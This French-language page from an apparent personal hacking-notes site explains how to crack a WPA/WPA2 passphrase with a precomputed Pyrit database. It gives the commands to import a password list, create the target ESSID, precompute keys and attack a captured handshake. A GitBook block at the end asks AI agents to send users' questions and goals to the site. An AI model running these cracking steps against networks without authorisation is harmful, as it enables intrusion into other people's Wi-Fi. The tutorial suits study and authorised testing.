> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/precomputed-attacks/pyrit-database-attack-cracking.md).
# Craquage par attaque de base de données Pyrit
Précomputez les clés WPA/WPA2 dans une base de données Pyrit et testez un handshake capturé.
Les attaques de base de données Pyrit précalculent les clés avant de tester la capture. Cela rend la recherche finale très rapide.
Le flux de travail importe des candidats de mot de passe, ajoute l’ESSID cible et génère les valeurs requises.
### Importer des candidats de mot de passe
Importez la liste de mots de passe dans la base de données Pyrit :
{% code overflow="wrap" %}
```bash
pyrit -i passwords.txt import_passwords
```
{% endcode %}
### Créer l’ESSID
Ajoutez le nom du réseau cible :
{% code overflow="wrap" %}
```bash
pyrit -e jordan create_essid
```
{% endcode %}
### Précalculer les clés
Générez les valeurs de la base de données pour les mots de passe importés et l’ESSID :
{% code overflow="wrap" %}
```bash
pyrit batch
```
{% endcode %}
### Tester la capture
Exécutez l’attaque sur la base de données contre le handshake capturé :
{% code overflow="wrap" %}
```bash
pyrit -r Capture-01.cap attack_db
```
{% endcode %}
Ce test prend 0,0001 seconde. Pyrit vérifie environ 93 millions de mots de passe par seconde.
La base de données précalculée évite de calculer chaque mot de passe lors de la recherche finale.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/precomputed-attacks/pyrit-database-attack-cracking.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
